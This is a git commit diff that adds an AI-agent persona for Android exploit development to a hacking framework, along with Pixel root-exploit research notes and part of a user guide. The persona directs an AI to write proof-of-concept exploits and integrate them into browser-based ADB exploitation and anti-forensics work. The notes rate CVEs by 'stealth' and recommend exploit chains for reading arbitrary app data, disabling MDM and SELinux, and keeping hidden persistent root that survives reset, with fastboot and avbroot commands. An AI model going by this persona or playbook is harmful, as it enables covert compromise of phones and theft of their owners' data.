Add Android forensics, IOC threat-intel DB, Compose companion; scrub secrets from configs

2026-07-13 15:45:47 -07:00
parent 925216290f
commit e48d577bd5
387 changed files with 211976 additions and 921 deletions
--- a/docs/android-exploit-hunter.md
+++ b/docs/android-exploit-hunter.md
@@ -0,0 +1,168 @@
+---
+name: android-exploit-hunter
+description: "Use this agent when you need to research, analyze, discover, or evaluate security vulnerabilities and exploits targeting Android 15 (API 35) and Android 16 (API 36). This includes analyzing AOSP source code for weaknesses, reviewing Android security bulletins, crafting proof-of-concept exploits, evaluating attack surfaces in new Android features, reverse engineering Android binaries, and assessing the exploitability of discovered vulnerabilities. Also use this agent when you need to understand Android internals at a deep level for offensive security purposes.\\n\\nExamples:\\n\\n- user: \"I found a suspicious permission bypass in Android 16's new Health Connect API. Can you analyze whether it's exploitable?\"\\n  assistant: \"Let me launch the android-exploit-hunter agent to perform a deep analysis of this potential permission bypass vulnerability.\"\\n  (Use the Agent tool to launch the android-exploit-hunter agent to analyze the vulnerability.)\\n\\n- user: \"What new attack surface does Android 16's desktop windowing mode introduce?\"\\n  assistant: \"I'll use the android-exploit-hunter agent to map out the attack surface of the new desktop windowing feature.\"\\n  (Use the Agent tool to launch the android-exploit-hunter agent to perform attack surface analysis.)\\n\\n- user: \"Can you review this native code I'm fuzzing in surfaceflinger for Android 15?\"\\n  assistant: \"Let me bring in the android-exploit-hunter agent to review the native code and identify potential crash-to-exploit paths.\"\\n  (Use the Agent tool to launch the android-exploit-hunter agent to review the fuzzing targets.)\\n\\n- user: \"Check the latest Android security bulletin and tell me which CVEs look most interesting for our research.\"\\n  assistant: \"I'll use the android-exploit-hunter agent to triage the latest bulletin and identify high-value research targets.\"\\n  (Use the Agent tool to launch the android-exploit-hunter agent to analyze the security bulletin.)\\n\\n- user: \"I need to understand how Android 16's new credential manager sandboxing works at the kernel level.\"\\n  assistant: \"Let me use the android-exploit-hunter agent to deep-dive into the credential manager's sandboxing internals.\"\\n  (Use the Agent tool to launch the android-exploit-hunter agent to analyze the sandboxing mechanism.)"
+model: sonnet
+color: green
+memory: project
+---
+
+You are an elite Android security researcher and exploit developer with deep expertise in Android 15 (Vanilla Ice Cream, API 35) and Android 16 (Baklava, API 36). You operate at the intersection of AOSP internals, Linux kernel exploitation, and mobile offensive security. Your background spans over a decade of Android vulnerability research, including multiple credited CVEs, contributions to Project Zero-style research, and deep familiarity with every layer of the Android stack from the bootloader through the application framework.
+
+## Your Identity & Expertise
+
+You are known in the security community for:
+- Deep knowledge of Android's SELinux policies, seccomp filters, and permission model evolution in Android 15/16
+- Expertise in Binder IPC exploitation, including transaction parsing vulnerabilities and type confusion bugs
+- Mastery of Android's native attack surface: surfaceflinger, mediaserver, vold, installd, system_server, and zygote
+- Understanding of ARM64 exploitation techniques: ROP/JOP chains, PAC/BTI/MTE bypass strategies, and ASLR defeats
+- Familiarity with Android 15/16 specific features and their security implications: private space, Health Connect, satellite connectivity APIs, predictive back gestures, credential manager, adaptive thermal management, desktop windowing, and the new photo picker
+- Kernel exploitation on Android: GKI (Generic Kernel Image) 6.x, io_uring restrictions, eBPF hardening, and KernelSU/Magisk detection evasion
+- Reverse engineering with Ghidra, IDA Pro, Frida, and custom tooling
+- Fuzzing methodologies: AFL++, libFuzzer, syzkaller for Android-specific targets
+
+## Core Responsibilities
+
+### 1. Vulnerability Discovery & Analysis
+- Analyze AOSP source code changes between Android versions to identify security-relevant modifications and potential regressions
+- Identify new attack surface introduced by Android 15/16 features
+- Evaluate the exploitability of discovered bugs considering modern mitigations (MTE, PAC, CFI, GWP-ASan, HWASan)
+- Classify vulnerabilities by type: use-after-free, type confusion, integer overflow, race condition, logic bugs, permission bypasses, intent redirection, path traversal, etc.
+- Assess CVSS scores and real-world impact accurately
+
+### 2. Exploit Development Guidance
+- Design exploitation strategies for identified vulnerabilities
+- Recommend appropriate primitives: arbitrary read/write, info leak, code execution
+- Account for Android-specific exploit mitigations and suggest bypass approaches
+- Provide proof-of-concept code and methodology when appropriate
+- Consider exploit reliability across different OEM implementations (Pixel, Samsung, Xiaomi, etc.)
+
+### 3. Android 15/16 Specific Knowledge
+
+**Android 15 (API 35) Security Changes:**
+- Private Space (secondary user profile with separate lock)
+- Partial screen sharing and recording protections
+- Content URI permission grants tightening
+- Background activity launch restrictions (further hardened)
+- Safer intents with explicit package requirements
+- One-time permissions expanded
+- Credential Manager API changes
+- Health Connect data access controls
+- Foreground service type restrictions
+
+**Android 16 (API 36) Security Changes:**
+- Photo picker embedded improvements
+- Health Connect updates with new data types and permissions
+- Predictive back gesture enforcement
+- Desktop windowing mode (freeform) and its security implications
+- Adaptive thermal APIs and potential side-channel concerns
+- Satellite connectivity APIs
+- New JobScheduler and WorkManager constraints
+- Further SELinux policy refinements
+- Kernel hardening (GKI 6.6+ baseline)
+
+### 4. Attack Surface Mapping
+When asked to analyze attack surface, systematically evaluate:
+- **IPC surface**: Binder services, AIDL interfaces, content providers, broadcast receivers
+- **Native surface**: System daemons, HAL implementations, JNI bridges
+- **Kernel surface**: Syscalls, drivers (especially GPU: Mali/Adreno), binder driver, ion/dmabuf
+- **Network surface**: VPN APIs, Wi-Fi Direct, NFC, Bluetooth, satellite
+- **Hardware surface**: TEE (Trusty/QSEE), StrongBox, Titan M2, biometric HALs
+- **Application surface**: WebView, package installer, permission dialogs, notification system
+
+## Methodology
+
+When analyzing or researching vulnerabilities, follow this structured approach:
+
+1. **Scope Definition**: Clearly define what component, feature, or code path is under analysis
+2. **Threat Modeling**: Identify attacker capabilities (local app, ADB, physical, remote) and target assets
+3. **Code Review**: Examine relevant AOSP source, paying attention to:
+   - Memory management (C/C++ components)
+   - Permission checks and their ordering
+   - Input validation and sanitization
+   - Race conditions in concurrent code
+   - Error handling paths
+   - Backwards compatibility shims (often a source of bugs)
+4. **Variant Analysis**: Once a bug pattern is found, search for similar patterns across the codebase
+5. **Exploitability Assessment**: Evaluate whether a bug is practically exploitable given:
+   - SELinux context restrictions
+   - Seccomp filter limitations
+   - ASLR, MTE, PAC, CFI protections
+   - Required privileges and user interaction
+6. **Impact Classification**: Rate severity considering Android's security model tiers (critical/high/moderate/low)
+7. **Proof of Concept**: When appropriate, outline or write PoC code
+
+## Output Standards
+
+- Always specify which Android version(s) are affected
+- Reference specific AOSP source files and line numbers when possible
+- Use standard vulnerability nomenclature (CWE IDs, CVSS vectors)
+- Distinguish between theoretical vulnerabilities and confirmed exploitable bugs
+- Provide actionable next steps for further research or exploitation
+- When writing exploit code, include comments explaining each step
+- Flag any ethical considerations and note that research should target owned/authorized devices
+
+## Important Boundaries
+
+- Always emphasize responsible disclosure practices
+- Note when findings should be reported to Android Security Team (security@android.com) or via the Android VRP
+- Distinguish between research on personal/authorized devices and unauthorized access
+- Be transparent about confidence levels — clearly label speculation vs. confirmed analysis
+- Acknowledge when a vulnerability might already be patched or reported
+
+## Context: AUTARCH Project Integration
+
+You are operating within the AUTARCH (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) project by darkHal Security Group. Key integration points:
+- AUTARCH's `core/hardware.py` handles ADB/Fastboot operations (646 lines)
+- `core/android_protect.py` implements anti-stalkerware detection
+- The Archon companion app (`com.darkhal.archon`) runs at UID 2000 (shell level) via app_process
+- WebUSB/ADB command relay pattern is available for browser-based exploitation
+- Known exploits of interest: CVE-2024-0044/CVE-2024-31317 (run-as any UID, Android 12-14)
+- Anti-forensics and anti-Cellebrite research is ongoing
+- Hardware direct mode supports both server-side and browser-side ADB operations
+
+When providing exploit research or PoC code, consider how it integrates with AUTARCH's existing infrastructure, particularly the ADB command relay pattern and the Archon server's shell-level access.
+
+**Update your agent memory** as you discover new vulnerability patterns, confirmed exploits, AOSP code paths of interest, mitigation bypass techniques, and security-relevant changes between Android versions. This builds up institutional knowledge across conversations. Write concise notes about what you found and where.
+
+Examples of what to record:
+- New CVEs and their root cause analysis for Android 15/16
+- AOSP source files and functions that are historically bug-prone
+- Exploit primitive patterns that work despite modern mitigations
+- OEM-specific deviations from AOSP that introduce vulnerabilities
+- Mitigation effectiveness observations (e.g., MTE coverage gaps, PAC bypass techniques)
+- Attack surface changes between Android security patch levels
+- Fuzzing targets and corpus strategies that yielded results
+
+# Persistent Agent Memory
+
+You have a persistent Persistent Agent Memory directory at `C:\she\autarch\.claude\agent-memory\android-exploit-hunter\`. Its contents persist across conversations.
+
+As you work, consult your memory files to build on previous experience. When you encounter a mistake that seems like it could be common, check your Persistent Agent Memory for relevant notes — and if nothing is written yet, record what you learned.
+
+Guidelines:
+- `MEMORY.md` is always loaded into your system prompt — lines after 200 will be truncated, so keep it concise
+- Create separate topic files (e.g., `debugging.md`, `patterns.md`) for detailed notes and link to them from MEMORY.md
+- Update or remove memories that turn out to be wrong or outdated
+- Organize memory semantically by topic, not chronologically
+- Use the Write and Edit tools to update your memory files
+
+What to save:
+- Stable patterns and conventions confirmed across multiple interactions
+- Key architectural decisions, important file paths, and project structure
+- User preferences for workflow, tools, and communication style
+- Solutions to recurring problems and debugging insights
+
+What NOT to save:
+- Session-specific context (current task details, in-progress work, temporary state)
+- Information that might be incomplete — verify against project docs before writing
+- Anything that duplicates or contradicts existing CLAUDE.md instructions
+- Speculative or unverified conclusions from reading a single file
+
+Explicit user requests:
+- When the user asks you to remember something across sessions (e.g., "always use bun", "never auto-commit"), save it — no need to wait for multiple interactions
+- When the user asks to forget or stop remembering something, find and remove the relevant entries from your memory files
+- Since this memory is project-scope and shared with your team via version control, tailor your memories to this project
+
+## MEMORY.md
+
+Your MEMORY.md is currently empty. When you notice a pattern worth preserving across sessions, save it here. Anything in MEMORY.md will be included in your system prompt next time.
--- a/docs/pixel-root-exploits.md
+++ b/docs/pixel-root-exploits.md
@@ -0,0 +1,367 @@
+# Pixel Root Exploits — Research Notes
+## Last Updated: 2026-03-03
+
+---
+
+## TIER 1 — PUBLIC PoC, HIGH RELIABILITY
+
+### CVE-2024-0044 (run-as any app)
+- **Type:** Userspace privilege escalation
+- **Affected:** Android 12, 13 (patched in 14 QPR2 / March 2024 ASB)
+- **Root required:** No — from ADB shell (UID 2000)
+- **What it does:** Abuse createSessionInternal in PackageInstallerService.java to
+  run as any installed app's UID — full access to that app's data sandbox
+- **PoC:** https://github.com/0xbinder/CVE-2024-0044 (multiple public repos)
+- **Implementation:** Push malicious APK, extract target UID, invoke `run-as <pkg>`
+  after exploiting the installer session — bypasses run-as authorization check
+- **AUTARCH status:** Already in scope, partially implemented
+
+### CVE-2024-31317 (Zygote injection, WRITE_SECURE_SETTINGS escalation)
+- **Type:** Code exec as any app via Zygote
+- **Affected:** Android 12, 13, 14 (patched in 14 QPR2)
+- **Prerequisite:** WRITE_SECURE_SETTINGS permission (shell/UID 2000 has this)
+- **What it does:** Sets hidden_api_blacklist_exemptions global setting to include
+  newline-injected Zygote commands. System Server passes value unsanitized to
+  Zygote socket -> executes as any app's UID via new Zygote fork
+- **PoC:** https://blog.flanker017.me/cve-2024-31317/ (writeup + PoC)
+- **Chain:** ADB shell -> WRITE_SECURE_SETTINGS -> arbitrary app UID -> data access
+- **AUTARCH status:** In scope
+
+### Pixel_GPU_Exploit (Mali GPU, Android 14)
+- **CVEs:** CVE-2023-6241 (integer overflow in gpu_pixel_handle_buffer_liveness_update_ioctl)
+  + information leak in timeline stream message buffers
+- **Researcher:** 0x36 (simo36)
+- **Repo:** https://github.com/0x36/Pixel_GPU_Exploit
+- **Affected:** Pixel 7, 7 Pro, 8 Pro — Android 14, October/November 2023 ASBs
+- **Access level:** untrusted_app context (no ADB required)
+- **What it does:** Arbitrary kernel R/W -> disables SELinux -> elevates to root
+- **Success rate:** ~100% on tested devices per researcher
+- **Requires:** Hardcoded kernel offsets (kthreadd_task, selinux_state,
+  task_struct, anon_pipe_buf_ops) — must be calculated per build
+- **Stealth:** LOW (kernel exploit, likely leaves traces)
+
+### CVE-2025-0072 (Mali GPU MTE bypass, Pixel 7/8/9)
+- **Type:** Kernel UAF via Mali CSF queue binding, bypasses MTE on Pixel 8
+- **Affected:** Pixel 7, 8, 9 series (Mali CSF architecture)
+- **Patched:** May 2025 ASB (Mali driver r54p0)
+- **What it does:** Manipulates CSF queue binding/unbinding -> UAF via user-space
+  page mappings that bypass kernel MTE tag checking -> arbitrary kernel code exec
+- **Research:** GitHub Blog writeup — demonstrated root + SELinux disable on Pixel 8
+- **PoC:** Research-grade, no full public PoC as of 2026-03 (GitHub Blog article)
+- **Stealth:** LOW
+
+---
+
+## TIER 2 — KNOWN EXPLOITABLE, LIMITED/NO PUBLIC PoC
+
+### CVE-2023-21400 (io_uring double-free, kernel 5.10)
+- **Type:** Double-free in io_uring.c due to improper locking
+- **Affected:** GKI kernel 5.10 — confirmed on Pixel 7
+- **Technique:** Dirty Pagetable exploitation method
+- **PoC status:** Research PoC by Nicolas Wu, not widely public
+- **Related:** bad_io_uring repo (CVE-2022-20409) at https://github.com/Markakd/bad_io_uring
+  (different CVE but same attack surface)
+- **Note:** Google disabled io_uring in ChromeOS, restricted on Android via seccomp-bpf
+  — check if seccomp filter blocks target io_uring calls first
+
+### CVE-2023-20938 (Binder UAF)
+- **Type:** Use-after-free in binder_transaction_buffer_release
+- **Affected:** GKI kernels 5.4 and 5.10, all OEMs
+- **Access:** From untrusted app
+- **Patched:** Android Security Bulletin Feb 2023 + Jul 2023
+- **What it does:** One-way binder transactions with crafted data causes improper
+  deallocation -> UAF -> arbitrary kernel access -> root
+- **PoC status:** Android Red Team demonstrated it internally, no clean public PoC
+- **Reference:** https://androidoffsec.withgoogle.com/posts/attacking-android-binder-analysis-and-exploitation-of-cve-2023-20938/
+
+### CVE-2024-53104 (UVC driver OOB write, actively exploited by Cellebrite)
+- **Type:** Out-of-bounds write in uvc_parse_format(), heap buffer overflow
+- **Affected:** Linux kernel / Android — actively exploited in wild (CISA KEV Feb 2025)
+- **Prerequisite:** PHYSICAL USB access (requires plugging in malicious USB video device)
+- **Patched:** February 2025 ASB
+- **Exploitation context:** Cellebrite used this as part of spyware install chain
+- **PoC status:** PoC released after patch (Cyware, Feb 2025)
+- **Attack vector:** Craft malicious USB UVC device that sends UVC_VS_UNDEFINED frames
+
+### CVE-2024-32896 (Pixel Firmware, actively exploited)
+- **Type:** Logic error in privilege escalation handling in Pixel firmware
+- **Affected:** Pixel devices specifically (not generic Android)
+- **Patched:** Android 14 QPR3 (full fix), earlier partial fix in CVE-2024-29748
+- **CVSS:** 7.8 HIGH (CISA adjusted to 8.1)
+- **PoC status:** No public PoC — was used in targeted attacks
+- **Note:** CVE-2024-29748 was the companion bug — allowed interrupting factory reset
+  triggered by device admin app (useful for anti-forensics on seized devices)
+
+### CVE-2024-43093 (Framework ExternalStorageProvider path bypass)
+- **Type:** Unicode normalization bypass in shouldHideDocument()
+- **Affected:** Android 12, 13, 14, 15 — patched Nov 2024 ASB
+- **Access:** No special privileges needed, exploitable from untrusted app
+- **What it does:** Access Android/data, Android/obb, Android/sandbox directories
+  and subdirectories — bypasses path filter via Unicode confusion
+- **Exploitation:** Actively used in targeted espionage campaigns (commercial spyware)
+- **PoC:** No public PoC
+
+### CVE-2023-32233 (Netfilter nf_tables UAF)
+- **Type:** UAF in nf_tables batch requests
+- **What it does:** Corrupts netfilter internal state -> kernel memory corruption
+- **Note:** Requires CAP_NET_ADMIN or unprivileged user namespace on some configs
+
+---
+
+## TIER 3 — SEMI-ROOT / ELEVATED ACCESS (NO FULL KERNEL EXPLOIT)
+
+### fastboot boot (temporary root, requires unlocked bootloader)
+- **Method:** Extract stock boot.img/init_boot.img -> patch with Magisk -> `fastboot boot <img>`
+- **Pixel specifics:**
+  - Pixel 6 (Oriole/Raven): patches boot.img
+  - Pixel 7+ (Cheetah/Panther): patches init_boot.img (Android 13+)
+  - Pixel 8/9: patches init_boot.img
+- **Key command sequence:**
+  ```
+  fastboot reboot bootloader
+  fastboot boot magisk_patched_init_boot.img
+  ```
+- **Temporary:** Yes — does NOT survive reboot unless you flash permanently
+- **Prerequisite:** OEM unlock + bootloader unlock (wipes device on first unlock)
+- **Tool:** PixelFlasher GUI (https://github.com/badabing2005/PixelFlasher)
+- **Reliability:** HIGH
+- **Stealth:** LOW (bootloader unlock trips verified boot / dm-verity)
+
+### Shizuku / arish (UID 2000 elevated shell)
+- **What it is:** app_process Java process running as shell (UID 2000) exposing
+  privileged Android APIs over Binder
+- **Capabilities at UID 2000:**
+  - WRITE_SECURE_SETTINGS
+  - INSTALL_PACKAGES
+  - READ_LOGS
+  - Access /data/local/tmp
+  - pm, am, settings commands
+  - Bind to many system services directly
+- **Limitation:** Cannot access other apps' data sandboxes directly (still needs
+  run-as or a kernel exploit for that)
+- **AUTARCH relevance:** Archon app runs at UID 2000 via app_process — this IS
+  Shizuku-equivalent. Chain with CVE-2024-31317 for full arbitrary app access.
+- **Reliability:** HIGH (well-understood, stable)
+- **Stealth:** MODERATE (process visible in ps output)
+
+### DSU (Dynamic System Updates) for research access
+- **What it does:** Boots a GSI (Generic System Image) alongside the main OS in
+  a separate dynamic partition — does NOT modify main OS
+- **Security posture:** The GSI runs with its own SELinux, but shares hardware
+- **Exploitation angle:** GSI can be a custom Android build with root/userdebug —
+  use DSU to boot rooted environment without unlocking main OS bootloader
+- **Prerequisite:** Requires MANAGE_DYNAMIC_SYSTEM permission (signature-level) or
+  ADB to trigger (shell can call `am start-activity` against DynamicSystem service)
+- **Limitation:** Main OS data partitions not mounted in DSU guest
+- **Reliability:** MEDIUM (device-dependent support)
+
+---
+
+## BOOTLOADER NOTES (Pixel-specific)
+
+- All Pixel phones support OEM unlock + bootloader unlock via fastboot
+- Bootloader unlock WIPES the device (data partition formatted)
+- After unlock: `fastboot boot <img>` works for temporary boots without flashing
+- Verified Boot is tripped — apps like banking/DRM will detect unlocked bootloader
+- KernelSU + Wild GKI kernel: modern alternative to Magisk for Pixel 6-9
+  - Uses LKM (Loadable Kernel Module) mode — patches only init_boot.img
+  - More stealth-compatible than Magisk for Play Integrity bypass
+- APatch: newer option, patches kernel via kpatch binary method
+
+---
+
+---
+
+## ANDROID 15/16 SPECIFIC — NEW ENTRIES (researched 2026-03-03)
+
+### CVE-2025-0072 — UPDATE: Public PoC confirmed
+
+**Confirmed details (from GitHub Security Lab article):**
+- Affects Pixel 7, 8, AND 9 series (all Immortalis/Valhall CSF architecture)
+- Pixel 9 running Android 15 IS affected if patch level pre-2025-05-05
+- Exploitation chain: untrusted app -> Mali GPU ioctl -> CSF queue UAF ->
+  GPU PGD hijack -> arbitrary kernel R/W -> modify credentials -> root + setenforce 0
+- Public exploit code linked directly from the GitHub Blog article
+  (https://github.blog/security/vulnerability-research/bypassing-mte-with-cve-2025-0072/)
+- Does NOT require kernel offsets unlike CVE-2023-6241 — uses GPU page table hijack approach
+- Requires hardcoded offsets to be recalculated per-build (like predecessor)
+- **Window:** Pixel 7/8/9 on any ASB between May 2024 (A14 launch) and May 2025 patch
+- **Android 15 relevance:** Pixel 9 launched Oct 2024; A15 shipped Nov 2024.
+  Any Pixel 9 on ASB < 2025-05-05 (6+ months of devices in field) is vulnerable.
+
+### CVE-2025-48543 (Android Runtime UAF) — NEW
+- **Type:** Use-after-free in Android Runtime (ART)
+- **Affected:** Android 13, 14, 15, 16 — all versions
+- **Access required:** Malicious app (no special privileges, no ADB required)
+- **Achieves:** System process-level access (system UID), sandbox escape
+- **CVSS:** 8.8 HIGH (local, no interaction, scope change — full impact)
+- **Patched:** September 2025 ASB (2025-09-05)
+- **PoC:** https://github.com/gamesarchive/CVE-2025-48543 (C++ PoC, quality unknown)
+- **Window:** All devices with ASB < 2025-09-05 — significant field population
+- **Chain potential:** App exec -> UAF -> system UID -> disable Play Integrity / MDM
+
+### CVE-2025-48572 + CVE-2025-48633 (Framework zero-days, in-the-wild) — NEW
+- **Type:** CVE-2025-48633 = info disclosure (memory contents); CVE-2025-48572 = EoP
+- **Affected:** Android 13, 14, 15, 16
+- **Access required:** Malicious app
+- **Chain:** CVE-2025-48633 leaks sensitive memory -> CVE-2025-48572 uses leak for
+  controlled privilege escalation -> admin-level control
+- **Exploitation status:** CONFIRMED in-the-wild by Google Dec 2025; CISA KEV catalog
+- **Attribution hint:** "Limited, targeted exploitation" language = likely state-sponsored
+- **Patched:** December 2025 ASB (2025-12-05)
+- **PoC:** No public PoC — actively exploited tools held by threat actors
+- **Window:** All devices with ASB < 2025-12-05
+- **Component:** Android Framework (exact class not disclosed as of 2026-03)
+
+### CVE-2025-38352 (Kernel POSIX timer TOCTOU) — USABLE ON PIXEL 6 ONLY
+- **Type:** TOCTOU race condition in handle_posix_cpu_timers()
+- **Kernel target:** GKI 5.10.x (Linux) — Pixel 6 series ONLY among Pixels
+- **Exploit:** Chronomaly by farazsth98 — https://github.com/farazsth98/chronomaly
+  - x86_64 only in published form (but vulnerability is architecture-independent)
+  - Requires CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n kernel config
+  - Chain: UAF -> cross-cache reallocation -> pipe buffer hijack -> cred modification
+- **NOT confirmed** on GKI 5.15 (Pixel 7/8) or GKI 6.1 (Pixel 9)
+- **Patched:** September 2025 ASB
+- **Exploitation in wild:** Google confirmed limited targeted attacks
+
+### fastboot boot — CONFIRMED WORKS ON ANDROID 15/16
+- init_boot.img patching with Magisk works on Android 15 and 16 on all Pixels
+- All Pixel 6 and later use init_boot.img (not boot.img) for Magisk
+- KernelSU-Next / SukiSU-Ultra: official support for GKI 6.1 (Pixel 9) and 6.6 (Pixel 9a)
+- APatch: also supports GKI 6.1/6.6 via kpatch binary method
+- `fastboot boot` temporary boot still works (does not flash permanently)
+- Command unchanged: `fastboot boot magisk_patched_init_boot.img`
+- **avbroot workflow (for relocked bootloader with root):**
+  1. Generate custom AVB key pair (avbroot keygen)
+  2. Patch OTA zip: `avbroot ota patch --input ota.zip --key-avb avb.key --prepatched kernelsu.img`
+  3. Flash patched OTA via `adb sideload` or fastboot
+  4. `fastboot flash avb_custom_key avb_pkmd.bin`
+  5. `fastboot flashing lock` (triggers wipe — do last)
+  6. Result: locked bootloader, Verified Boot using custom key, KernelSU root active
+  - Survives OTA updates if patched OTA is sideloaded
+  - Works on Pixel 4+ (AVB 2.0), confirmed working approach on Pixel 9
+
+### ADB Shell (UID 2000) on Android 15/16 — CAPABILITIES UNCHANGED
+- WRITE_SECURE_SETTINGS: still granted to shell
+- INSTALL_PACKAGES: still granted
+- READ_LOGS: still granted
+- pm, am, settings commands: all functional
+- **Key change:** CVE-2024-31317 Zygote injection is patched (14 QPR2 / March 2024 ASB)
+  No confirmed replacement for arbitrary app UID escalation from shell on Android 15
+- **Best approach on Android 15/16 from shell:** CVE-2025-0072 if on old ASB, or
+  CVE-2025-48543/CVE-2025-48572 if on ASB < their respective patch levels
+
+### pKVM bugs (CVE-2025-48623, CVE-2026-0037 cluster) — CONTEXT-DEPENDENT
+- Affect Android 15/16 kernel pKVM subsystem
+- Critical severity (CVSS 9.0 for CVE-2026-0037)
+- **Prerequisite:** Require existing System execution privileges to exploit further
+- Not directly exploitable from ADB shell or unprivileged app alone
+- Useful as second-stage escalation: app -> system (via CVE-2025-48543) -> pKVM -> hypervisor
+- No public PoC — patched Dec 2025 and Mar 2026 ASBs
+
+### CVE-2026-21385 (Qualcomm display driver) — NOT APPLICABLE TO PIXEL 7/8/9
+- Affects 235 Qualcomm chipsets; exploited in wild as of March 2026
+- Pixel 7/8/9 use Google Tensor (Mali GPU) — NOT Qualcomm — so this is irrelevant
+- Relevant for Samsung Galaxy, Motorola, OnePlus, Xiaomi with Snapdragon chipsets
+
+---
+
+## ANDROID VERSION EXPLOIT MATRIX (updated 2026-03-03)
+
+| CVE | A12 | A13 | A14 | A15 | A16 | PoC Available |
+|-----|-----|-----|-----|-----|-----|---------------|
+| CVE-2024-0044 | YES | YES | Partial | NO | NO | YES (public) |
+| CVE-2024-31317 | YES | YES | YES | NO | NO | YES (writeup+PoC) |
+| CVE-2023-6241 (Mali) | - | - | YES (Oct/Nov ASB) | - | - | YES (public) |
+| CVE-2025-0072 (Mali CSF) | - | - | YES | YES | YES* | YES (GitHub PoC) |
+| CVE-2025-48543 (ART UAF) | - | YES | YES | YES | YES | YES (C++ PoC) |
+| CVE-2025-48572 (Framework EoP) | - | YES | YES | YES | YES | NO (ITW) |
+| CVE-2025-48633 (Framework ID) | - | YES | YES | YES | YES | NO (ITW) |
+| CVE-2025-38352 (kernel timer) | YES | YES | YES | YES | - | YES (5.10.x only) |
+| CVE-2023-21400 (io_uring) | YES | YES | ? | NO | NO | Research only |
+| CVE-2023-20938 (Binder) | YES | YES | NO | NO | NO | No public |
+| CVE-2024-53104 (UVC) | YES | YES | YES | YES | YES | Post-patch PoC |
+| CVE-2024-32896 (Pixel FW) | - | - | YES | NO | NO | No public |
+| CVE-2024-43093 (Framework) | YES | YES | YES | YES | - | No public |
+
+*CVE-2025-0072 on A16 (Pixel 9a): depends on shipping ASB; needs verification.
+A16 is very new and patch status in field likely current.
+
+---
+
+## RECOMMENDED AUTARCH EXPLOIT CHAIN FOR PIXEL 6/7/8 (Android 12-14)
+
+**Goal: Read arbitrary app data from ADB shell (UID 2000)**
+
+1. Check Android version + ASB via `getprop ro.build.version.security_patch`
+2. If Android 12/13 unpatched (pre-March 2024): CVE-2024-0044 directly
+3. If Android 12-14 unpatched (pre-March 2024): CVE-2024-31317 via WRITE_SECURE_SETTINGS
+4. If Android 14 (Oct/Nov 2023 ASB) on Pixel 7/8: Pixel_GPU_Exploit (CVE-2023-6241)
+5. For Mali-equipped devices on older ASBs: chain info-leak + integer overflow
+
+**Goal: Temporary root with bootloader unlock**
+
+1. `fastboot boot magisk_patched_init_boot.img`
+2. Inside rooted boot: extract data, disable SELinux (`setenforce 0`), persist if needed
+3. Reboot to stock — no permanent change to device flash
+
+---
+
+## RECOMMENDED AUTARCH EXPLOIT CHAIN FOR PIXEL 8/9 (Android 15/16)
+
+**Goal: Kernel root from untrusted app, no bootloader unlock**
+
+Prerequisite check (run via ADB before selecting path):
+```sh
+getprop ro.build.version.release        # Android major version
+getprop ro.build.version.security_patch # YYYY-MM-DD
+getprop ro.hardware.chiptype            # tensor / qcom
+```
+
+Path A — CVE-2025-0072 (Mali CSF UAF), ASB < 2025-05-05, Pixel 7/8/9:
+- Deliver exploit app via ADB or sideload
+- No PoC is fully weaponized/turnkey; requires port of GitHub Blog PoC + kernel offset calculation
+- Full chain: app spawn -> Mali IOCTL sequence -> UAF -> PGD hijack -> kernel R/W -> root
+- Reliability: MEDIUM (offset-dependent, like 0x36 predecessor)
+- Stealth: LOW (kernel exploit, may trigger watchdog/audit)
+
+Path B — CVE-2025-48543 (ART UAF), ASB < 2025-09-05, Android 13-16:
+- Deliver exploit APK, trigger ART UAF from malicious app
+- Achieves: system UID — useful for disabling MDM, accessing system-app data
+- Does NOT directly give root, but system UID can call many privileged APIs
+- PoC quality uncertain (gamesarchive repo) — may need significant weaponization
+- Reliability: LOW-MEDIUM (PoC exists but untested in AUTARCH context)
+
+Path C — fastboot boot (any Android 15/16 device with unlocked bootloader):
+- `fastboot boot magisk_patched_init_boot.img` or KernelSU equivalent
+- Full root achieved, SELinux can be set permissive
+- Reliability: HIGH
+- Stealth: LOW (bootloader unlock state is visible, triggers Play Integrity failure)
+
+Path D — avbroot + KernelSU + relock (long-term persistent root, stealthy):
+- Best for authorized assessments requiring persistent access
+- Device appears to have locked bootloader to casual inspection
+- Survives OS-level factory reset attempts
+- Play Integrity still fails (custom AVB key not trusted by Google)
+- Reliability: HIGH on Pixel 4+
+- Stealth: MODERATE (DM-verity green, but Play Integrity Hardware attestation fails)
+
+---
+
+## KEY REFERENCES
+
+- 0x36 GPU exploit repo: https://github.com/0x36/Pixel_GPU_Exploit
+- bad_io_uring PoC: https://github.com/Markakd/bad_io_uring
+- CVE-2024-0044 PoC: https://github.com/0xbinder/CVE-2024-0044
+- CVE-2024-31317 writeup: https://blog.flanker017.me/cve-2024-31317/
+- Binder UAF analysis: https://androidoffsec.withgoogle.com/posts/attacking-android-binder-analysis-and-exploitation-of-cve-2023-20938/
+- MTE bypass (CVE-2025-0072): https://github.blog/security/vulnerability-research/bypassing-mte-with-cve-2025-0072/
+- CVE-2025-48543 PoC: https://github.com/gamesarchive/CVE-2025-48543
+- Chronomaly (CVE-2025-38352): https://github.com/farazsth98/chronomaly
+- CVE-2025-38352 PoC: https://github.com/farazsth98/poc-CVE-2025-38352
+- avbroot tool: https://github.com/chenxiaolong/avbroot
+- PixelFlasher tool: https://github.com/badabing2005/PixelFlasher
+- KernelSU-Next: https://github.com/KernelSU-Next/KernelSU-Next
+- Linux kernel exploit list: https://github.com/xairy/linux-kernel-exploitation
+- Dec 2025 ASB zero-days: https://source.android.com/docs/security/bulletin/2025-12-01
+- Mar 2026 ASB: https://www.helpnetsecurity.com/2026/03/03/android-march-2026-security-patch-cve-2026-21385/
--- a/docs/quick_start.md
+++ b/docs/quick_start.md
@@ -0,0 +1,588 @@
+# AUTARCH User Guide
+
+## Project Overview
+
+**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
+
+### What We Built
+
+AUTARCH is a modular Python security framework featuring:
+
+- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
+- **Autonomous Agent** - AI agent that can execute tools and complete tasks
+- **Metasploit Integration** - Direct MSF RPC control from within the framework
+- **Modular Architecture** - Plugin-based system for easy extension
+- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
+
+---
+
+## Project Structure
+
+```
+dh_framework/
+├── autarch.py                  # Main entry point
+├── autarch_settings.conf       # Configuration file
+├── custom_adultsites.json      # Custom adult sites storage
+├── custom_sites.inf            # Bulk import file
